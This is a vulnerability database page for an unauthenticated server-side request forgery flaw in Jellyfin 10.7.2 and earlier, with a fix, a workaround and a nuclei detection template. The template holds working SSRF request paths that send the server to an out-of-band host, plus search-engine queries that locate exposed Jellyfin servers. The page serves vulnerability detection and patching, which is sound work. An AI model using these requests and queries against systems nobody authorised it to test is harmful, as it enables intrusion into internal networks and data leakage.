Browse / CVEs / CVE-2021-29490
CVE-2021-29490· jellyfin / jellyfin· CWE-918
Jellyfin 10.7.2 - Server Side Request Forgery
mediumseverity
5.8CVSS score
69.9%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
Jellyfin is a free software media system. Versions 10.7.2 and below are vulnerable to unauthenticated Server-Side Request Forgery (SSRF) attacks via the imageUrl parameter.
Impact
This vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further exploitation of the target system.
Fix
Upgrade to version 10.7.3 or newer. As a workaround, disable external access to the API endpoints "/Items/*/RemoteImages/Download", "/Items/RemoteSearch/Image" and "/Images/Remote".
How to confirm it
Send: GET {{BaseURL}}/Images/Remote?imageUrl=https://oast.me/ ; GET {{BaseURL}}/Items/RemoteSearch/Image?ImageUrl=https://oast.me/&ProviderName=TheMovieDB
Positive when: contains "<h1> Interactsh Server </h1>"Run it with nuclei: nuclei -id CVE-2021-29490 -u <target>
The full check
id: CVE-2021-29490
info:
name: Jellyfin 10.7.2 - Server Side Request Forgery
author: alph4byt3
severity: medium
description: |
Jellyfin is a free software media system. Versions 10.7.2 and below are vulnerable to unauthenticated Server-Side Request Forgery (SSRF) attacks via the imageUrl parameter.
impact: |
This vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further exploitation of the target system.
remediation: Upgrade to version 10.7.3 or newer. As a workaround, disable external access to the API endpoints "/Items/*/RemoteImages/Download", "/Items/RemoteSearch/Image" and "/Images/Remote".
reference:
- https://github.com/jellyfin/jellyfin/security/advisories/GHSA-rgjw-4fwc-9v96
- https://nvd.nist.gov/vuln/detail/CVE-2021-29490
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/HimmelAward/Goby_POC
- https://github.com/Threekiii/Awesome-POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
cvss-score: 5.8
cve-id: CVE-2021-29490
cwe-id: CWE-918
epss-score: 0.69856
epss-percentile: 0.99377
cpe: cpe:2.3:a:jellyfin:jellyfin:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: jellyfin
product: jellyfin
shodan-query: http.title:"Jellyfin"
fofa-query: body="jellyfin"
google-query: intitle:"jellyfin"
tags: cve,cve2021,ssrf,jellyfin,oast,vuln
http:
- method: GET
path:
- "{{BaseURL}}/Images/Remote?imageUrl=https://oast.me/"
- "{{BaseURL}}/Items/RemoteSearch/Image?ImageUrl=https://oast.me/&ProviderName=TheMovieDB"
stop-at-first-match: true
matchers:
- type: word
part: body
words:
- "<h1> Interactsh Server </h1>"References
- https://github.com/jellyfin/jellyfin/security/advisories/GHSA-rgjw-4fwc-9v96
- https://nvd.nist.gov/vuln/detail/CVE-2021-29490
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/HimmelAward/Goby_POC
- https://github.com/Threekiii/Awesome-POC
Use this check only on systems you are authorised to test. Where the data comes from